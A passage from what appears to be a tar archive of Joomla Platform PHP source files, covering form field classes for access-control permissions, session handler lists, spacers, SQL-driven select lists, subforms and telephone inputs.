$icon = $this->element['icon'] ? '<span
class="icon-' . $this->element['icon'] .
'"></span> ' : '';
$str[] = '<button class="open-modal btn"
id="' . $this->id . '_button" >' . $icon .
$select . '</button>';
if (is_array($this->value))
{
$this->value = array_shift($this->value);
}
// Script params
$data = array();
$data[] = 'data-container="#' . $this->id .
'_container"';
$data[] = 'data-modal-element="#' . $this->id .
'_modal"';
$data[] = 'data-repeatable-element="table tbody tr"';
$data[] = 'data-bt-add="a.add"';
$data[] = 'data-bt-remove="a.remove"';
$data[] = 'data-bt-modal-open="#' . $this->id .
'_button"';
$data[] = 'data-bt-modal-close="button.close-modal"';
$data[] =
'data-bt-modal-save-data="button.save-modal-data"';
$data[] = 'data-maximum="' . $maximum .
'"';
$data[] = 'data-input="#' . $this->id .
'"';
// Hidden input, where the main value is
$value = htmlspecialchars($this->value, ENT_COMPAT,
'UTF-8');
$str[] = '<input type="hidden" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $value
. '" class="form-field-repeatable" ' .
implode(' ', $data) . ' />';
// Add scripts
JHtml::_('bootstrap.framework');
// Depends on jQuery UI
JHtml::_('jquery.ui', array('core',
'sortable'));
JHtml::_('script', 'jui/sortablelist.js',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('stylesheet', 'jui/sortablelist.css',
array('version' => 'auto', 'relative'
=> true));
JHtml::_('script', 'system/repeatable.js',
array('framework' => true, 'version' =>
'auto', 'relative' => true));
$javascript = 'jQuery(document).ready(function($) { $("#'
. $this->id . '_table tbody").sortable(); });';
JFactory::getDocument()->addScriptDeclaration($javascript);
return implode("\n", $str);
}
}
form/fields/rules.php000064400000034473151171674100010636 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Field for assigning permissions to groups for a given asset
*
* @see JAccess
* @since 1.7.0
*/
class JFormFieldRules extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Rules';
/**
* The section.
*
* @var string
* @since 3.2
*/
protected $section;
/**
* The component.
*
* @var string
* @since 3.2
*/
protected $component;
/**
* The assetField.
*
* @var string
* @since 3.2
*/
protected $assetField;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'section':
case 'component':
case 'assetField':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'section':
case 'component':
case 'assetField':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->section = $this->element['section'] ? (string)
$this->element['section'] : '';
$this->component = $this->element['component'] ?
(string) $this->element['component'] : '';
$this->assetField = $this->element['asset_field'] ?
(string) $this->element['asset_field'] : 'asset_id';
}
return $return;
}
/**
* Method to get the field input markup for Access Control Lists.
* Optionally can be associated with a specific component and section.
*
* @return string The field input markup.
*
* @since 1.7.0
* @todo: Add access check.
*/
protected function getInput()
{
JHtml::_('bootstrap.tooltip');
// Add Javascript for permission change
JHtml::_('script', 'system/permissions.js',
array('version' => 'auto', 'relative'
=> true));
// Load JavaScript message titles
JText::script('ERROR');
JText::script('WARNING');
JText::script('NOTICE');
JText::script('MESSAGE');
// Add strings for JavaScript error translations.
JText::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT');
JText::script('JLIB_JS_AJAX_ERROR_NO_CONTENT');
JText::script('JLIB_JS_AJAX_ERROR_OTHER');
JText::script('JLIB_JS_AJAX_ERROR_PARSE');
JText::script('JLIB_JS_AJAX_ERROR_TIMEOUT');
// Initialise some field attributes.
$section = $this->section;
$assetField = $this->assetField;
$component = empty($this->component) ? 'root.1' :
$this->component;
// Current view is global config?
$isGlobalConfig = $component === 'root.1';
// Get the actions for the asset.
$actions = JAccess::getActions($component, $section);
// Iterate over the children and add to the actions.
foreach ($this->element->children() as $el)
{
if ($el->getName() == 'action')
{
$actions[] = (object) array(
'name' => (string) $el['name'],
'title' => (string) $el['title'],
'description' => (string) $el['description'],
);
}
}
// Get the asset id.
// Note that for global configuration, com_config injects asset_id = 1
into the form.
$assetId = $this->form->getValue($assetField);
$newItem = empty($assetId) && $isGlobalConfig === false
&& $section !== 'component';
$parentAssetId = null;
// If the asset id is empty (component or new item).
if (empty($assetId))
{
// Get the component asset id as fallback.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('name') . ' = ' .
$db->quote($component));
$db->setQuery($query);
$assetId = (int) $db->loadResult();
/**
* @to do: incorrect info
* When creating a new item (not saving) it uses the calculated
permissions from the component (item <-> component <-> global
config).
* But if we have a section too (item <-> section(s) <->
component <-> global config) this is not correct.
* Also, currently it uses the component permission, but should use the
calculated permissions for achild of the component/section.
*/
}
// If not in global config we need the parent_id asset to calculate
permissions.
if (!$isGlobalConfig)
{
// In this case we need to get the component rules too.
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select($db->quoteName('parent_id'))
->from($db->quoteName('#__assets'))
->where($db->quoteName('id') . ' = ' .
$assetId);
$db->setQuery($query);
$parentAssetId = (int) $db->loadResult();
}
// Full width format.
// Get the rules for just this asset (non-recursive).
$assetRules = JAccess::getAssetRules($assetId, false, false);
// Get the available user groups.
$groups = $this->getUserGroups();
// Ajax request data.
$ajaxUri =
JRoute::_('index.php?option=com_config&task=config.store&format=json&'
. JSession::getFormToken() . '=1');
// Prepare output
$html = array();
// Description
$html[] = '<p class="rule-desc">' .
JText::_('JLIB_RULES_SETTINGS_DESC') . '</p>';
// Begin tabs
$html[] = '<div class="tabbable tabs-left"
data-ajaxuri="' . $ajaxUri . '"
id="permissions-sliders">';
// Building tab nav
$html[] = '<ul class="nav nav-tabs">';
foreach ($groups as $group)
{
// Initial Active Tab
$active = (int) $group->value === 1 ? '
class="active"' : '';
$html[] = '<li' . $active . '>';
$html[] = '<a href="#permission-' . $group->value .
'" data-toggle="tab">';
$html[] = JLayoutHelper::render('joomla.html.treeprefix',
array('level' => $group->level + 1)) . $group->text;
$html[] = '</a>';
$html[] = '</li>';
}
$html[] = '</ul>';
$html[] = '<div class="tab-content">';
// Start a row for each user group.
foreach ($groups as $group)
{
// Initial Active Pane
$active = (int) $group->value === 1 ? ' active' :
'';
$html[] = '<div class="tab-pane' . $active .
'" id="permission-' . $group->value .
'">';
$html[] = '<table class="table
table-striped">';
$html[] = '<thead>';
$html[] = '<tr>';
$html[] = '<th class="actions"
id="actions-th' . $group->value . '">';
$html[] = '<span class="acl-action">' .
JText::_('JLIB_RULES_ACTION') . '</span>';
$html[] = '</th>';
$html[] = '<th class="settings"
id="settings-th' . $group->value . '">';
$html[] = '<span class="acl-action">' .
JText::_('JLIB_RULES_SELECT_SETTING') .
'</span>';
$html[] = '</th>';
$html[] = '<th id="aclactionth' . $group->value .
'">';
$html[] = '<span class="acl-action">' .
JText::_('JLIB_RULES_CALCULATED_SETTING') .
'</span>';
$html[] = '</th>';
$html[] = '</tr>';
$html[] = '</thead>';
$html[] = '<tbody>';
// Check if this group has super user permissions
$isSuperUserGroup = JAccess::checkGroup($group->value,
'core.admin');
foreach ($actions as $action)
{
$html[] = '<tr>';
$html[] = '<td headers="actions-th' .
$group->value . '">';
$html[] = '<label for="' . $this->id .
'_' . $action->name . '_' . $group->value .
'" class="hasTooltip" title="'
. JHtml::_('tooltipText', $action->title,
$action->description) . '">';
$html[] = JText::_($action->title);
$html[] = '</label>';
$html[] = '</td>';
$html[] = '<td headers="settings-th' .
$group->value . '">';
$html[] = '<select onchange="sendPermissions.call(this,
event)" data-chosen="true" class="input-small
novalidate"'
. ' name="' . $this->name . '[' .
$action->name . '][' . $group->value . ']"'
. ' id="' . $this->id . '_' .
$action->name . '_' . $group->value . '"'
. ' title="' .
strip_tags(JText::sprintf('JLIB_RULES_SELECT_ALLOW_DENY_GROUP',
JText::_($action->title), trim($group->text))) .
'">';
/**
* Possible values:
* null = not set means inherited
* false = denied
* true = allowed
*/
// Get the actual setting for the action for this group.
$assetRule = $newItem === false ?
$assetRules->allow($action->name, $group->value) : null;
// Build the dropdowns for the permissions sliders
// The parent group has "Not Set", all children can rightly
"Inherit" from that.
$html[] = '<option value=""' . ($assetRule ===
null ? ' selected="selected"' : '') .
'>'
. JText::_(empty($group->parent_id) && $isGlobalConfig ?
'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED') .
'</option>';
$html[] = '<option value="1"' . ($assetRule ===
true ? ' selected="selected"' : '') .
'>' . JText::_('JLIB_RULES_ALLOWED')
. '</option>';
$html[] = '<option value="0"' . ($assetRule ===
false ? ' selected="selected"' : '') .
'>' . JText::_('JLIB_RULES_DENIED')
. '</option>';
$html[] = '</select>  ';
$html[] = '<span id="icon_' . $this->id .
'_' . $action->name . '_' . $group->value .
'"' . '></span>';
$html[] = '</td>';
// Build the Calculated Settings column.
$html[] = '<td headers="aclactionth' .
$group->value . '">';
$result = array();
// Get the group, group parent id, and group global config recursive
calculated permission for the chosen action.
$inheritedGroupRule = JAccess::checkGroup((int)
$group->value, $action->name, $assetId);
$inheritedGroupParentAssetRule = !empty($parentAssetId) ?
JAccess::checkGroup($group->value, $action->name, $parentAssetId) :
null;
$inheritedParentGroupRule = !empty($group->parent_id) ?
JAccess::checkGroup($group->parent_id, $action->name, $assetId) :
null;
// Current group is a Super User group, so calculated setting is
"Allowed (Super User)".
if ($isSuperUserGroup)
{
$result['class'] = 'label label-success';
$result['text'] = '<span class="icon-lock
icon-white"></span>' .
JText::_('JLIB_RULES_ALLOWED_ADMIN');
}
// Not super user.
else
{
// First get the real recursive calculated setting and add (Inherited)
to it.
// If recursive calculated setting is "Denied" or null.
Calculated permission is "Not Allowed (Inherited)".
if ($inheritedGroupRule === null || $inheritedGroupRule === false)
{
$result['class'] = 'label label-important';
$result['text'] =
JText::_('JLIB_RULES_NOT_ALLOWED_INHERITED');
}
// If recursive calculated setting is "Allowed". Calculated
permission is "Allowed (Inherited)".
else
{
$result['class'] = 'label label-success';
$result['text'] =
JText::_('JLIB_RULES_ALLOWED_INHERITED');
}
// Second part: Overwrite the calculated permissions labels if there
is an explicit permission in the current group.
/**
* @to do: incorrect info
* If a component has a permission that doesn't exists in global
config (ex: frontend editing in com_modules) by default
* we get "Not Allowed (Inherited)" when we should get
"Not Allowed (Default)".
*/
// If there is an explicit permission "Not Allowed".
Calculated permission is "Not Allowed".
if ($assetRule === false)
{
$result['class'] = 'label label-important';
$result['text'] =
JText::_('JLIB_RULES_NOT_ALLOWED');
}
// If there is an explicit permission is "Allowed".
Calculated permission is "Allowed".
elseif ($assetRule === true)
{
$result['class'] = 'label label-success';
$result['text'] =
JText::_('JLIB_RULES_ALLOWED');
}
// Third part: Overwrite the calculated permissions labels for special
cases.
// Global configuration with "Not Set" permission.
Calculated permission is "Not Allowed (Default)".
if (empty($group->parent_id) && $isGlobalConfig === true
&& $assetRule === null)
{
$result['class'] = 'label label-important';
$result['text'] =
JText::_('JLIB_RULES_NOT_ALLOWED_DEFAULT');
}
/**
* Component/Item with explicit "Denied" permission at
parent Asset (Category, Component or Global config) configuration.
* Or some parent group has an explicit "Denied".
* Calculated permission is "Not Allowed (Locked)".
*/
elseif ($inheritedGroupParentAssetRule === false ||
$inheritedParentGroupRule === false)
{
$result['class'] = 'label label-important';
$result['text'] = '<span class="icon-lock
icon-white"></span>' .
JText::_('JLIB_RULES_NOT_ALLOWED_LOCKED');
}
}
$html[] = '<span class="' .
$result['class'] . '">' .
$result['text'] . '</span>';
$html[] = '</td>';
$html[] = '</tr>';
}
$html[] = '</tbody>';
$html[] = '</table></div>';
}
$html[] = '</div></div>';
$html[] = '<div class="clr"></div>';
$html[] = '<div class="alert">';
if ($section === 'component' || !$section)
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES');
}
else
{
$html[] = JText::_('JLIB_RULES_SETTING_NOTES_ITEM');
}
$html[] = '</div>';
return implode("\n", $html);
}
/**
* Get a list of the user groups.
*
* @return array
*
* @since 1.7.0
*/
protected function getUserGroups()
{
$options = JHelperUsergroups::getInstance()->getAll();
foreach ($options as &$option)
{
$option->value = $option->id;
$option->text = $option->title;
}
return array_values($options);
}
}
form/fields/sessionhandler.php000064400000002170151171674100012512
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a select list of session handler options.
*
* @since 1.7.0
*/
class JFormFieldSessionHandler extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'SessionHandler';
/**
* Method to get the session handler field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Get the options from JSession.
foreach (JSession::getStores() as $store)
{
$options[] = JHtml::_('select.option', $store,
JText::_('JLIB_FORM_VALUE_SESSION_' . $store), 'value',
'text');
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
form/fields/spacer.php000064400000006403151171674100010751 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides spacer markup to be used in form layouts.
*
* @since 1.7.0
*/
class JFormFieldSpacer extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Spacer';
/**
* Method to get the field input markup for a spacer.
* The spacer does not have accept input.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
return ' ';
}
/**
* Method to get the field label markup for a spacer.
* Use the label text or name from the XML element as the spacer or
* Use a hr="true" to automatically generate plain hr markup
*
* @return string The field label markup.
*
* @since 1.7.0
*/
protected function getLabel()
{
$html = array();
$class = !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$html[] = '<span class="spacer">';
$html[] = '<span class="before"></span>';
$html[] = '<span' . $class . '>';
if ((string) $this->element['hr'] == 'true')
{
$html[] = '<hr' . $class . ' />';
}
else
{
$label = '';
// Get the label text from the XML element, defaulting to the element
name.
$text = $this->element['label'] ? (string)
$this->element['label'] : (string)
$this->element['name'];
$text = $this->translateLabel ? JText::_($text) : $text;
// Build the class for the label.
$class = !empty($this->description) ? 'hasPopover' :
'';
$class = $this->required == true ? $class . ' required' :
$class;
// Add the opening label tag and main attributes attributes.
$label .= '<label id="' . $this->id .
'-lbl" class="' . $class . '"';
// If a description is specified, use it to build a tooltip.
if (!empty($this->description))
{
JHtml::_('bootstrap.popover');
$label .= ' title="' . htmlspecialchars(trim($text,
':'), ENT_COMPAT, 'UTF-8') . '"';
$label .= ' data-content="' . htmlspecialchars(
$this->translateDescription ? JText::_($this->description) :
$this->description,
ENT_COMPAT,
'UTF-8'
) . '"';
if (JFactory::getLanguage()->isRtl())
{
$label .= ' data-placement="left"';
}
}
// Add the label text and closing tag.
$label .= '>' . $text . '</label>';
$html[] = $label;
}
$html[] = '</span>';
$html[] = '<span class="after"></span>';
$html[] = '</span>';
return implode('', $html);
}
/**
* Method to get the field title.
*
* @return string The field title.
*
* @since 1.7.0
*/
protected function getTitle()
{
return $this->getLabel();
}
/**
* Method to get a control group with label and input.
*
* @param array $options Options to be passed into the rendering of
the field
*
* @return string A string containing the html for the control group
*
* @since 3.7.3
*/
public function renderField($options = array())
{
$options['class'] = empty($options['class']) ?
'field-spacer' : $options['class'] . '
field-spacer';
return parent::renderField($options);
}
}
form/fields/sql.php000064400000016204151171674100010273 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Supports a custom SQL select list
*
* @since 1.7.0
*/
class JFormFieldSQL extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
public $type = 'SQL';
/**
* The keyField.
*
* @var string
* @since 3.2
*/
protected $keyField;
/**
* The valueField.
*
* @var string
* @since 3.2
*/
protected $valueField;
/**
* The translate.
*
* @var boolean
* @since 3.2
*/
protected $translate = false;
/**
* The query.
*
* @var string
* @since 3.2
*/
protected $query;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'keyField':
case 'valueField':
case 'translate':
case 'query':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'keyField':
case 'valueField':
case 'translate':
case 'query':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
// Check if its using the old way
$this->query = (string) $this->element['query'];
if (empty($this->query))
{
// Get the query from the form
$query = array();
$defaults = array();
$sql_select = (string) $this->element['sql_select'];
$sql_from = (string) $this->element['sql_from'];
if ($sql_select && $sql_from)
{
$query['select'] = $sql_select;
$query['from'] = $sql_from;
$query['join'] = (string)
$this->element['sql_join'];
$query['where'] = (string)
$this->element['sql_where'];
$query['group'] = (string)
$this->element['sql_group'];
$query['order'] = (string)
$this->element['sql_order'];
// Get the filters
$filters = isset($this->element['sql_filter']) ?
explode(',', $this->element['sql_filter']) :
'';
// Get the default value for query if empty
if (is_array($filters))
{
foreach ($filters as $filter)
{
$name = "sql_default_{$filter}";
$attrib = (string) $this->element[$name];
if (!empty($attrib))
{
$defaults[$filter] = $attrib;
}
}
}
// Process the query
$this->query = $this->processQuery($query, $filters, $defaults);
}
}
$this->keyField = (string) $this->element['key_field']
?: 'value';
$this->valueField = (string)
$this->element['value_field'] ?: (string)
$this->element['name'];
$this->translate = (string) $this->element['translate']
?: false;
$this->header = (string) $this->element['header'] ?:
false;
}
return $return;
}
/**
* Method to process the query from form.
*
* @param array $conditions The conditions from the form.
* @param string $filters The columns to filter.
* @param array $defaults The defaults value to set if condition is
empty.
*
* @return JDatabaseQuery The query object.
*
* @since 3.5
*/
protected function processQuery($conditions, $filters, $defaults)
{
// Get the database object.
$db = JFactory::getDbo();
// Get the query object
$query = $db->getQuery(true);
// Select fields
$query->select($conditions['select']);
// From selected table
$query->from($conditions['from']);
// Join over the groups
if (!empty($conditions['join']))
{
$query->join('LEFT', $conditions['join']);
}
// Where condition
if (!empty($conditions['where']))
{
$query->where($conditions['where']);
}
// Group by
if (!empty($conditions['group']))
{
$query->group($conditions['group']);
}
// Process the filters
if (is_array($filters))
{
$html_filters =
JFactory::getApplication()->getUserStateFromRequest($this->context .
'.filter', 'filter', array(), 'array');
foreach ($filters as $k => $value)
{
if (!empty($html_filters[$value]))
{
$escape = $db->quote($db->escape($html_filters[$value]), false);
$query->where("{$value} = {$escape}");
}
elseif (!empty($defaults[$value]))
{
$escape = $db->quote($db->escape($defaults[$value]), false);
$query->where("{$value} = {$escape}");
}
}
}
// Add order to query
if (!empty($conditions['order']))
{
$query->order($conditions['order']);
}
return $query;
}
/**
* Method to get the custom field options.
* Use the query attribute to supply a query to generate the list.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$key = $this->keyField;
$value = $this->valueField;
$header = $this->header;
if ($this->query)
{
// Get the database object.
$db = JFactory::getDbo();
// Set the query and get the result list.
$db->setQuery($this->query);
try
{
$items = $db->loadObjectlist();
}
catch (JDatabaseExceptionExecuting $e)
{
JFactory::getApplication()->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'),
'error');
}
}
// Add header.
if (!empty($header))
{
$header_title = JText::_($header);
$options[] = JHtml::_('select.option', '',
$header_title);
}
// Build the field options.
if (!empty($items))
{
foreach ($items as $item)
{
if ($this->translate == true)
{
$options[] = JHtml::_('select.option', $item->$key,
JText::_($item->$value));
}
else
{
$options[] = JHtml::_('select.option', $item->$key,
$item->$value);
}
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
form/fields/subform.php000064400000022173151171674100011153
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\CMS\Form\Form;
jimport('joomla.filesystem.path');
/**
* The Field to load the form inside current form
*
* @Example with all attributes:
* <field name="field-name" type="subform"
* formsource="path/to/form.xml" min="1"
max="3" multiple="true"
buttons="add,remove,move"
* layout="joomla.form.field.subform.repeatable-table"
groupByFieldset="false" component="com_example"
client="site"
* label="Field Label" description="Field
Description" />
*
* @since 3.6
*/
class JFormFieldSubform extends JFormField
{
/**
* The form field type.
* @var string
*/
protected $type = 'Subform';
/**
* Form source
* @var string
*/
protected $formsource;
/**
* Minimum items in repeat mode
* @var int
*/
protected $min = 0;
/**
* Maximum items in repeat mode
* @var int
*/
protected $max = 1000;
/**
* Layout to render the form
* @var string
*/
protected $layout = 'joomla.form.field.subform.default';
/**
* Whether group subform fields by it`s fieldset
* @var boolean
*/
protected $groupByFieldset = false;
/**
* Which buttons to show in miltiple mode
* @var array $buttons
*/
protected $buttons = array('add' => true, 'remove'
=> true, 'move' => true);
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.6
*/
public function __get($name)
{
switch ($name)
{
case 'formsource':
case 'min':
case 'max':
case 'layout':
case 'groupByFieldset':
case 'buttons':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.6
*/
public function __set($name, $value)
{
switch ($name)
{
case 'formsource':
$this->formsource = (string) $value;
// Add root path if we have a path to XML file
if (strrpos($this->formsource, '.xml') ===
strlen($this->formsource) - 4)
{
$this->formsource = JPath::clean(JPATH_ROOT . '/' .
$this->formsource);
}
break;
case 'min':
$this->min = (int) $value;
break;
case 'max':
if ($value)
{
$this->max = max(1, (int) $value);
}
break;
case 'groupByFieldset':
if ($value !== null)
{
$value = (string) $value;
$this->groupByFieldset = !($value === 'false' || $value
=== 'off' || $value === '0');
}
break;
case 'layout':
$this->layout = (string) $value;
// Make sure the layout is not empty.
if (!$this->layout)
{
// Set default value depend from "multiple" mode
$this->layout = !$this->multiple ?
'joomla.form.field.subform.default' :
'joomla.form.field.subform.repeatable';
}
break;
case 'buttons':
if (!$this->multiple)
{
$this->buttons = array();
break;
}
if ($value && !is_array($value))
{
$value = explode(',', (string) $value);
$value = array_fill_keys(array_filter($value), true);
}
if ($value)
{
$value = array_merge(array('add' => false,
'remove' => false, 'move' => false), $value);
$this->buttons = $value;
}
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the <field /> tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value.
*
* @return boolean True on success.
*
* @since 3.6
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
if (!parent::setup($element, $value, $group))
{
return false;
}
foreach (array('formsource', 'min', 'max',
'layout', 'groupByFieldset', 'buttons') as
$attributeName)
{
$this->__set($attributeName, $element[$attributeName]);
}
if ($this->value && is_string($this->value))
{
// Guess here is the JSON string from 'default' attribute
$this->value = json_decode($this->value, true);
}
if (!$this->formsource && $element->form)
{
// Set the formsource parameter from the content of the node
$this->formsource = $element->form->saveXML();
}
return true;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.6
*/
protected function getInput()
{
// Prepare data for renderer
$data = parent::getLayoutData();
$tmpl = null;
$control = $this->name;
try
{
$tmpl = $this->loadSubForm();
$forms = $this->loadSubFormData($tmpl);
}
catch (Exception $e)
{
return $e->getMessage();
}
$data['tmpl'] = $tmpl;
$data['forms'] = $forms;
$data['min'] = $this->min;
$data['max'] = $this->max;
$data['control'] = $control;
$data['buttons'] = $this->buttons;
$data['fieldname'] = $this->fieldname;
$data['groupByFieldset'] = $this->groupByFieldset;
/**
* For each rendering process of a subform element, we want to have a
* separate unique subform id present to could distinguish the
eventhandlers
* regarding adding/moving/removing rows from nested subforms from their
parents.
*/
static $unique_subform_id = 0;
$data['unique_subform_id'] = ('sr-' .
($unique_subform_id++));
// Prepare renderer
$renderer = $this->getRenderer($this->layout);
// Allow to define some JLayout options as attribute of the element
if ($this->element['component'])
{
$renderer->setComponent((string)
$this->element['component']);
}
if ($this->element['client'])
{
$renderer->setClient((string) $this->element['client']);
}
// Render
$html = $renderer->render($data);
// Add hidden input on front of the subform inputs, in multiple mode
// for allow to submit an empty value
if ($this->multiple)
{
$html = '<input name="' . $this->name .
'" type="hidden" value="" />' .
$html;
}
return $html;
}
/**
* Method to get the name used for the field input tag.
*
* @param string $fieldName The field element name.
*
* @return string The name to be used for the field input tag.
*
* @since 3.6
*/
protected function getName($fieldName)
{
$name = '';
// If there is a form control set for the attached form add it first.
if ($this->formControl)
{
$name .= $this->formControl;
}
// If the field is in a group add the group control to the field name.
if ($this->group)
{
// If we already have a name segment add the group control as another
level.
$groups = explode('.', $this->group);
if ($name)
{
foreach ($groups as $group)
{
$name .= '[' . $group . ']';
}
}
else
{
$name .= array_shift($groups);
foreach ($groups as $group)
{
$name .= '[' . $group . ']';
}
}
}
// If we already have a name segment add the field name as another level.
if ($name)
{
$name .= '[' . $fieldName . ']';
}
else
{
$name .= $fieldName;
}
return $name;
}
/**
* Loads the form instance for the subform.
*
* @return Form The form instance.
*
* @throws InvalidArgumentException if no form provided.
* @throws RuntimeException if the form could not be loaded.
*
* @since 3.9.7
*/
public function loadSubForm()
{
$control = $this->name;
if ($this->multiple)
{
$control .= '[' . $this->fieldname . 'X]';
}
// Prepare the form template
$formname = 'subform.' . str_replace(array('jform[',
'[', ']'), array('', '.',
''), $this->name);
$tmpl = Form::getInstance($formname, $this->formsource,
array('control' => $control));
return $tmpl;
}
/**
* Binds given data to the subform and its elements.
*
* @param Form &$subForm Form instance of the subform.
*
* @return Form[] Array of Form instances for the rows.
*
* @since 3.9.7
*/
private function loadSubFormData(Form &$subForm)
{
$value = $this->value ? (array) $this->value : array();
// Simple form, just bind the data and return one row.
if (!$this->multiple)
{
$subForm->bind($value);
return array($subForm);
}
// Multiple rows possible: Construct array and bind values to their
respective forms.
$forms = array();
$value = array_values($value);
// Show as many rows as we have values, but at least min and at most max.
$c = max($this->min, min(count($value), $this->max));
for ($i = 0; $i < $c; $i++)
{
$control = $this->name . '[' . $this->fieldname . $i .
']';
$itemForm = Form::getInstance($subForm->getName() . $i,
$this->formsource, array('control' => $control));
if (!empty($value[$i]))
{
$itemForm->bind($value[$i]);
}
$forms[] = $itemForm;
}
return $forms;
}
}
form/fields/tel.php000064400000003133151171674100010255 0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the Joomla Platform.
* Supports a text field telephone numbers.
*
* @link http://www.w3.org/TR/html-markup/input.tel.html
* @see JFormRuleTel for telephone number validation
* @see JHtmlTel for rendering of telephone numbers
* @since 1.7.0
*/
class JFormFieldTel extends JFormFieldText
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Tel';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7.0
*/
protected $layout = 'joomla.form.field.tel';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7.0
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
